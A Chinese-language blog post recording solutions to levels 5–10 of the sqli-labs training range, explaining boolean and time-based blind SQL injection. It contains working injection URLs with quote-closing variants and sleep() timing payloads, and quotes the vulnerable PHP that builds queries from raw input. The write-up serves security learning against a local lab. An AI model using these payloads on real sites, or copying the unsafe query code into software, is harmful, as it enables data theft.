靶场练习-Sqli-labs通关记录(盲注)(5-10关)

 
 
 
 
 

0x00 实验环境

本地:Win 10

靶场:sqli-labs(共65关,每日一关)

 

0x02 通关记录

简介:一天一关!

 

(5)第五关:

由于此处与前四关有明显的差别,故在此我分为独立的一篇进行记录。

此处是基于回显正常与不正常的注入类型,不会很明显的显示出注入的结果,正常时,页面显示:

 

不正常时,页面会出现报错或者是无回显:

 

 

 (1)利用left(version(),1)=5进行尝试,当前的mysql版本为:

 

 

http://127.0.0.1/sqli-labs/Less-5/?id=1' and left(version(),1)=5#

 

但是将数字更换为“6”时,页面将不进行回显:

 

(6)第六关:

先查看源码:

 

 这里仅仅是在id前后添加了一个" 号,与第五关唯一不同的地方:

 

 将单引号替换为 " 即可:

http://127.0.0.1/sqli-labs/Less-6/?id=1" and left(version(),1)=5--+

回显正常:

 

 回显不正常:

http://127.0.0.1/sqli-labs/Less-6/?id=1" and left(version(),1)=6--+

 

(7)第七关:

首先查看源码:

 

 

 

这里使用了'))做闭合:

因此我们可以尝试使用如下语句:

 

http://127.0.0.1/sql/sqli/Less-7/?id=1')) and left(version(),1)=6--+   #这里的6就是版本的意思,版本为6会报错,版本为5就回显正常

(8)第八关:

 

 查看一下源码:乍一看感觉跟第五关十分相像,又有本质的区别,因为这里不再进行报错了。

 

第八关与第五关的源码不同之处:

八:

    else 
    {
    
    echo '<font size="5" color="#FFFF00">';
    //echo 'You are in...........';
    //print_r(mysql_error());
    //echo "You have an error in your SQL syntax";
    echo "</br></font>";    
    echo '<font color= "#0000ff" font size= 3>';    
    
    }

五:

    else 
    {
    
    echo '<font size="3" color="#FFFF00">';
    print_r(mysql_error());
    echo "</br></font>";    
    echo '<font color= "#0000ff" font size= 3>';    
    
    }

也就是不会出现报错的提示:

 

 那我们可以换一个语句:

http://127.0.0.1/sql/sqli/Less-8/?id=1' and if(ascii(substr(database(),1,1))=111,1,sleep(7))--+

 

正常查询数据库,如果数据库第一位的ascii111就返回1,否则就延迟7秒返回。注:s的ascii值为115,所以下面的截图肯定是会延迟7秒钟,本身反应就是4秒,再延迟7秒肯定就差不多11秒了,我是不是很聪明@-@

 

上面四关就差不多到这里了,我们只需要不断的跑那个databaseascii值就看响应包的响应时间就能跑出来数据库名了。

 

(9)第九关:

同样的,跟第八关差不多:

http://127.0.0.1/sql/sqli/Less-9/?id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(7))--+

 

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

    if($row)
    {
      echo '<font size="5" color="#FFFF00">';    
      echo 'You are in...........';
      echo "<br>";
        echo "</font>";
      }
    else 
    {
    
    echo '<font size="5" color="#FFFF00">';
    echo 'You are in...........';
    //print_r(mysql_error());
    //echo "You have an error in your SQL syntax";
    echo "</br></font>";    
    echo '<font color= "#0000ff" font size= 3>';    
    
    }
}

 

 

 

(10)第十关:

仅仅是在第8-9关的基础上,将闭合符号变成了其他的,变成了"

http://127.0.0.1/sql/sqli/Less-10/?id=1" and if(ascii(substr(database(),1,1))=111,1,sleep(7))--+

 

$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

    if($row)
    {
      echo '<font size="5" color="#FFFF00">';    
      echo 'You are in...........';
      echo "<br>";
        echo "</font>";
      }
    else 
    {
    
    echo '<font size="5" color="#FFFF00">';
    echo 'You are in...........';
    //print_r(mysql_error());
    //echo "You have an error in your SQL syntax";
    echo "</br></font>";    
    echo '<font color= "#0000ff" font size= 3>';    
    
    }
}

posted @ 2021-02-26 09:34  铺哩  阅读(263)  评论(0编辑  收藏  举报